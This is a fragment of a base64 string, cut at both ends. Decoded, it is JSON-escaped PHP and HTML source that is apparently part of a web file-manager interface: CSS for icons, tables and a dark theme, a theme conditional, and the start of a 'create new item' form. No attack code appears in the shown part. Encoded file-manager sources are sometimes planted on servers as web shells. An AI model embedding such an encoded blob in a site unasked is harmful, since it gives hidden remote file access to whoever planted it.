luZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi0yIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IHNtYWxsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5maWxlOmJlZm9yZSxcbiAgICAgICAgICAgIGxpLmZvbGRlcjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGZvbnQ6IG5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHhcLzEgRm9udEF3ZXNvbWU7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMTZcIjtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjExNFwiXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZm9sZGVyLW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDE1N2IzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtcGljdHVyZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzI2Yjk5YVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2RhN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7XG4gICAgICAgICAgICAgICAgY29sb3I6IGluaGVyaXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaS5mYS5mYS1jc3MzIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2YzNmZhMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtY29kZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzAwN2JmZlxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWNvZGUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjY2M0YjRjXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS10ZXh0LW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA5NmU2XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtaHRtbDUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZDc1ZTcyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzA5YzU1ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2Y2NzEyZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07XG4gICAgICAgICAgICAgICAgY29sb3I6ICMwMDdiZmY7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tYWluLW5hdiB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogMC4ycmVtIDFyZW07XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCA0cHggNXB4IDAgcmdiYSgwLCAwLCAwLCAuMTQpLCAwIDFweCAxMHB4IDAgcmdiYSgwLCAwLCAwLCAuMTIpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIC4yKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBUUFBQURZV2Y1SEFBQUFrRWxFUVZRb3o3WFFNUTVBUUJDRjRkV1FTSnhDNXd3YXgxQ3ExZTdCQWR4RDVTTCtUcVwvUUNNMW9OaUppZHdveDAzNTVtWG5HXC9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2FzYyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzU1wvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19kZXNjIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgcmlnaHQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCdkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkFcL0JPSXYyUEJJUEZFVWd4akIrSWRRUHdmQzk0SHhMeWt1czRHaUQraEdmUU9pQjNKOFNvakVFOUVNMnd1U0p6Y3NGTUc0dHRRZ3g0RHNSYWxrWkVOeEwrQXVKUWFNY3NHeEJPQW1Hdm9wazhBVnoxc0xaZ2cwYnNBQUFBQVNVVk9SSzVDWUlJPScpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZvb3Rlci1hY3Rpb24gbGkge1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5hcHAtdi10aXRsZSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAzMDA7XG4gICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0uNXB4O1xuICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGhyLmN1c3RvbS1ociB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IGRhc2hlZCAjOGM4YjhiO1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBkYXNoZWQgI2ZmZjtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI3NuYWNrYmFyIHtcbiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyNTBweDtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogLTEyNXB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweDtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNnB4O1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgICAgICB6LWluZGV4OiAxO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxN3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc25hY2tiYXIuc2hvdyB7XG4gICAgICAgICAgICAgICAgdmlzaWJpbGl0eTogdmlzaWJsZTtcbiAgICAgICAgICAgICAgICAtd2Via2l0LWFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHtcbiAgICAgICAgICAgICAgICBmcm9tIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwO1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHRvIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAzMHB4O1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgQGtleWZyYW1lcyBmYWRlaW4ge1xuICAgICAgICAgICAgICAgIGZyb20ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgdG8ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2Uge1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZjhmOWZhXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNkZjQyMjdcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2Y4YjYwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgzKSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjMDBiZDYwXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDQpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICM0NTgxZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2FjNjhmY1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg2KSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNDVjM2QyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi1kZXZpY2Utd2lkdGg6NzY4cHgpIGFuZCAobWF4LWRldmljZS13aWR0aDoxMDI0cHgpIGFuZCAob3JpZW50YXRpb246bGFuZHNjYXBlKSBhbmQgKC13ZWJraXQtbWluLWRldmljZS1waXhlbC1yYXRpbzoyKSB7XG4gICAgICAgICAgICAgICAgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmFjdGl2ZTpmb2N1cyxcbiAgICAgICAgICAgIC5idG4uZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmZvY3VzOmFjdGl2ZSxcbiAgICAgICAgICAgIC5idG46YWN0aXZlOmZvY3VzLFxuICAgICAgICAgICAgLmJ0bjpmb2N1cyB7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogMCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIG91dGxpbmUtb2Zmc2V0OiAwICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogNjRweDtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDY0cHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYsXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rLnNob3ctbWUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9ja1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDZweDtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTNweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDA3YmZmO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbGRzLWZhY2Vib29rIDEuMnMgY3ViaWMtYmV6aWVyKDAsIC41LCAuNSwgMSkgaW5maW5pdGVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBsZWZ0OiA2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjI0c1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDI2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjEyc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDQ1cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAwc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7XG4gICAgICAgICAgICAgICAgMCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDZweDtcbiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA1MXB4XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgMTAwJSxcbiAgICAgICAgICAgICAgICA1MCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDE5cHg7XG4gICAgICAgICAgICAgICAgICAgIGhlaWdodDogMjZweFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZWNlY2VjY2M7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpIHtcbiAgICAgICAgICAgICAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y5ZjlmOWNjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYy1wcmV2aWV3LWltZyB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAzMDBweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZsb2F0LXJpZ2h0IHtcbiAgICAgICAgICAgICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ob3Zlcj50Ym9keT50cjpob3Zlcj50ZDpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMWI3N2ZkO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjhGOUZhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZmlsZW5hbWU+YT5pIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDNweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZzLTcge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgPFwvc3R5bGU+XG4gICAgICAgIDw/cGhwXG4gICAgICAgIGlmIChGTV9USEVNRSA9PSBcImRhcmtcIik6ID8+XG4gICAgICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICAgICAgOnJvb3Qge1xuICAgICAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgICAgIC0tYmctY29sb3I6ICNmM2RhYTY7XG4gICAgICAgICAgICAgICAgICAgIC0tYnMtZGFyay1yZ2I6IDI4LCAzNiwgNDEgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGJvZHkudGhlbWUtZGFyayB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgIzFjMjQyOSwgIzI2MzIzOCk7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC5saXN0LWdyb3VwIC5saXN0LWdyb3VwLWl0ZW0ge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzQzYTQwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5uYXZiYXItbmF2IGksXG4gICAgICAgICAgICAgICAgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSxcbiAgICAgICAgICAgICAgICAuYnJlYWstd29yZCB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIGEsXG4gICAgICAgICAgICAgICAgYTpob3ZlcixcbiAgICAgICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICAgICAgYTphY3RpdmUsXG4gICAgICAgICAgICAgICAgI21haW4tdGFibGUgLmZpbGVuYW1lIGEsXG4gICAgICAgICAgICAgICAgaS5mYS5mYS1mb2xkZXItbyxcbiAgICAgICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogdmFyKC0tYmctY29sb3IpO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzIxMmEyZjtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjYjhlNTljO1xuICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNiOGU1OWM7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6aG92ZXIsXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJkNDEyMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayBpbnB1dC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTAxNTE4O1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0NGRDhEQztcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuZHJvcHpvbmUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuaW5saW5lLWFjdGlvbnM+YT5pIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGV4dC13aGl0ZSB7XG4gICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkLFxuICAgICAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzM0MzQzNDtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LFxuICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0aCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQge1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwLjY3ODtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMTI1Mjk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgZm9ybS5kcm9wem9uZSB7XG4gICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzc5NzU1ZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICA8XC9zdHlsZT5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgPFwvaGVhZD5cblxuICAgIDxib2R5IGNsYXNzPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PlwiPlxuICAgICAgICA8ZGl2IGlkPVwid3JhcHBlclwiIGNsYXNzPVwiY29udGFpbmVyLWZsdWlkXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgZmFkZVwiIGlkPVwiY3JlYXRlTmV3SXRlbVwiIHRhYmluZGV4PVwiLTFcIiByb2xlPVwiZGlhbG9nXCIgZGF0YS1icy1iYWNrZHJvcD1cInN0YXRpY1wiIGRhdGEtYnMta2V5Ym9hcmQ9XCJmYWxzZVwiIGFyaWEtbGFiZWxsZWRieT1cIm5ld0l0ZW1Nb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnRcIiBtZXRob2Q9XCJwb3N0XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtaGVhZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibW9kYWwtdGl0bGVcIiBpZD1cIm5ld0l0ZW1Nb2RhbExhYmVsXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZSBmYS1md1wiPjxcL2k+PD9waHAgZWNobyBsbmcoJ0NyZWF0